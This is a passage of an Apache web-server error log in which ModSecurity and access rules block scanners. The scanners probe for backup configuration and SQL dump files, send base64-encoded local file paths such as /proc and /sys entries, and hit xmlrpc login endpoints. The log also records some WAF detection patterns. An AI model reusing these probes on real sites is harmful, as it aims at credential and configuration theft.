127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.681310 2026] [proxy_http:error] [pid 646876:tid 647132] [client 157.230.49.82:38082] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:22.877987 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:15758] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/bitrix/php_interface/dbconn.php.bak"] [unique_id "ai3zilWSojQL4F7upKB5SAAAAIg"] [Sat Jun 13 18:19:23.120535 2026] [security2:error] [pid 646876:tid 646882] [remote 17.246.19.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zi9yTkdrNlD40tSG5vQAAVQM"] [Sat Jun 13 18:19:23.143714 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:15764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/uc_server/data/config.inc.php.bak"] [unique_id "ai3zi1WSojQL4F7upKB5UgAAAM0"] [Sat Jun 13 18:19:23.152463 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:23.152757 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:23.415180 2026] [security2:error] [pid 648189:tid 648358] [client 185.177.72.9:49134] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/data/config.inc.php.bak"] [unique_id "ai3zi1WSojQL4F7upKB5YAAAAIo"] [Sat Jun 13 18:19:23.481073 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.13:48427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:23.481506 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.13:48427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:23.558854 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.53:40596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:23.559148 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.53:40596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:23.664817 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:19:23.665125 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:19:24.065288 2026] [access_compat:error] [pid 648189:tid 648323] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:24.065550 2026] [access_compat:error] [pid 648189:tid 648323] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:24.134353 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:65287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:24.134639 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:65287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:24.183072 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:24.183339 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:24.424102 2026] [security2:error] [pid 646876:tid 646952] [remote 54.242.155.65:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zjNyTkdrNlD40tSG51AAASkk"] [Sat Jun 13 18:19:24.424132 2026] [security2:error] [pid 646876:tid 646952] [remote 54.242.155.65:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zjNyTkdrNlD40tSG51AAASkk"] [Sat Jun 13 18:19:24.427764 2026] [access_compat:error] [pid 648189:tid 648225] [remote 74.7.227.22:53402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:19:24.428235 2026] [access_compat:error] [pid 648189:tid 648225] [remote 74.7.227.22:53402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:19:24.694269 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.75:24700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:24.694716 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.75:24700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:24.744876 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:19:24.745165 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:19:24.893842 2026] [security2:error] [pid 646876:tid 647000] [remote 17.241.219.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zjNyTkdrNlD40tSG52QAABHk"] [Sat Jun 13 18:19:25.069441 2026] [security2:error] [pid 648189:tid 648374] [client 185.177.72.9:49146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/debug.sql"] [unique_id "ai3zjVWSojQL4F7upKB5qwAAAJo"] [Sat Jun 13 18:19:25.218691 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:19:25.219236 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:19:25.239794 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.77:20489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:25.240198 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.77:20489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:25.271375 2026] [security2:error] [pid 648189:tid 648277] [remote 17.241.219.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zjVWSojQL4F7upKB5tgAAqjc"] [Sat Jun 13 18:19:25.275709 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.82:63114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:25.276136 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.82:63114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:25.450669 2026] [security2:error] [pid 648189:tid 648334] [remote 216.73.216.137:1374] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevent/dc-ecowomen-ecohour-speaker-series-anisa-heming/"] [unique_id "ai3zjVWSojQL4F7upKB5vgAAi28"] [Sat Jun 13 18:19:25.516249 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:49146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mysql_debug.sql"] [unique_id "ai3zjVWSojQL4F7upKB5wQAAAOs"] [Sat Jun 13 18:19:25.553102 2026] [proxy:error] [pid 646876:tid 647030] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:25.553199 2026] [proxy_http:error] [pid 646876:tid 647030] [client 157.230.49.82:38204] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcalendars.serviciosnevarez.com/ [Sat Jun 13 18:19:25.553961 2026] [proxy:error] [pid 646876:tid 647030] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:25.554006 2026] [proxy_http:error] [pid 646876:tid 647030] [client 157.230.49.82:38204] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://cpcalendars.serviciosnevarez.com/ [Sat Jun 13 18:19:25.621840 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.108:54483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:25.622124 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.108:54483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:25.746297 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:19:25.746599 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:19:25.969751 2026] [security2:error] [pid 646876:tid 647091] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/session/tests/003.phpt"] [unique_id "ai3zjdyTkdrNlD40tSG57AAAAFM"] [Sat Jun 13 18:19:26.177579 2026] [security2:error] [pid 646876:tid 647019] [client 172.56.168.133:55296] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zjtyTkdrNlD40tSG57wAAAAs"] [Sat Jun 13 18:19:26.182176 2026] [security2:error] [pid 646876:tid 647019] [client 172.56.168.133:55296] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zjtyTkdrNlD40tSG57wAAAAs"] [Sat Jun 13 18:19:26.285712 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:26.285989 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 